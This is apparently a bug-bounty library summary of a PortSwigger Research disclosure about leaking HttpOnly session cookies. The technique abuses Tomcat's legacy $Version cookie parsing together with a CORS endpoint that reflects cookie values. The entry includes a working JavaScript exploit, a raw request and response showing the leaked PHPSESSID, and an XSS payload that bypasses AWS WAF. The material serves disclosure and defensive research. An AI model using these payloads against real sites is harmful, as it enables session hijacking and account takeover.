# Stealing HttpOnly cookies with the cookie sandwich technique

Cookie sandwich technique abuses Tomcat RFC2109 legacy parsing with $Version and quoted values to leak HttpOnly PHPSESSID via a reflecting CORS tracking endpoint.

- Payout: Research
- Severity: high
- Program: Apache Tomcat
- Write-up by: PortSwigger Research
- Disclosed: 2025-01-22
- Write-up quality: 8/10
- Original: https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-stealing-httponly-cookies-with-the-cookie-sandwich-technique
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:research sev:high tech:java technique:chained technique:parser-differential vuln:cors vuln:info-disclosure vuln:xss

**Target:** Tomcat cookie parser + analytics tracking endpoint reflecting session cookie
**Root cause:** Tomcat defaults to RFC2109 legacy parsing when a cookie string starts with $Version, and quoted cookie values are read until the next unescaped quote, so a crafted param1="start swallows subsequent cookies (including HttpOnly ones) into one value. A reflecting endpoint then returns that merged value.
**Steps:**
1. Inject XSS bypassing AWS WAF via `<link rel="canonical" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto">`
2. Identify tracking endpoint `GET /json?session=ignored` on tracking.example.com that reflects the session cookie value and allows CORS with credentials from the vulnerable origin
3. Set cookies from JS: `$Version=1; domain=${domain}; path=${path};`, then `${cookie}="deadbeef; domain=${domain}; path=${path};`, then `dummy=qaz"; domain=${domain}; path=/;`
4. Fetch `/json` with `credentials:'include'`; server parses `Cookie: $Version=1; session="deadbeef; PHPSESSID=secret; dummy=qaz"` and reflects `{"session":"deadbeef; PHPSESSID=secret; dummy=qaz"}`
5. Read PHPSESSID from JSON response
**How found:** Follow-up to phantom $Version research: noticed legacy cookies allow special chars in values; hypothesized that Tomcat's RFC2109 quoted-value parsing could swallow adjacent cookies. Found a tracking endpoint reflecting the session cookie with permissive CORS, then used path attribute to control cookie ordering so $Version is sent first.
**Exploitation:** Attacker needs an XSS (or same-origin script execution) on the target origin plus a CORS-enabled reflecting endpoint on a Tomcat-backed tracking domain. JS sets $Version and quoted cookies with path=/json to force ordering, then a credentialed fetch causes Tomcat to merge the HttpOnly PHPSESSID into the reflected session value, exfiltrating it.
**Escalation:** Chained reflected XSS (WAF bypass via oncontentvisibilityautostatechange) with cookie-ordering manipulation and CORS reflection to defeat HttpOnly and achieve session hijack.
**Insight:** When a server reflects a cookie value, test whether legacy RFC2109 parsing ($Version prefix, quoted values) can be triggered to merge neighboring HttpOnly cookies into the reflected value; use the path attribute to force cookie ordering since creation time is uncontrollable.

## Proof of concept (copied exactly from the original report)

**Final JavaScript cookie sandwich exploit**

```
async function sandwich(target, cookie) {
 // Step 1: Create an iframe with target src and wait for it
 const iframe = document.createElement('iframe');

 const url = new URL(target);
 const domain = url.hostname;
 const path = url.pathname;

 iframe.src = target;
 // Hide the iframe
 iframe.style.display = 'none';
 document.body.appendChild(iframe);
 // Optional: Add your code to check and clean client's cookies if needed
 iframe.onload = async () => {
 // Step 2: Create cookie gadget
 document.cookie = `$Version=1; domain=${domain}; path=${path};`;
 document.cookie = `${cookie}="deadbeef; domain=${domain}; path=${path};`;
 document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;
 // Step 3: Send a fetch request
 try {
 const response = await fetch(`${target}`, {
 credentials: 'include',
 });
 const responseData = await response.text();
 // Step 4: Alert response
 alert(responseData);
 } catch (error) {
 console.error('Error fetching data:', error);
 }
 };
}

setTimeout(sandwich, 100, 'http://example.com/json', 'session');
```

**Malicious request reflecting HttpOnly PHPSESSID**

```
GET /json?session=ignored
Host: tracking.example.com
Origin: https://www.example.com
Referer: https://www.example.com/
Cookie: $Version=1; session="deadbeef; PHPSESSID=secret; dummy=qaz"

HTTP/2 200 OK
Content-Type: application/json;charset=UTF-8
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true

{"session":"deadbeef; PHPSESSID=secret; dummy=qaz"}
```

**XSS payload bypassing WAF**

```
<link rel="canonical"
oncontentvisibilityautostatechange="alert(1)"
style="content-visibility:auto">
```

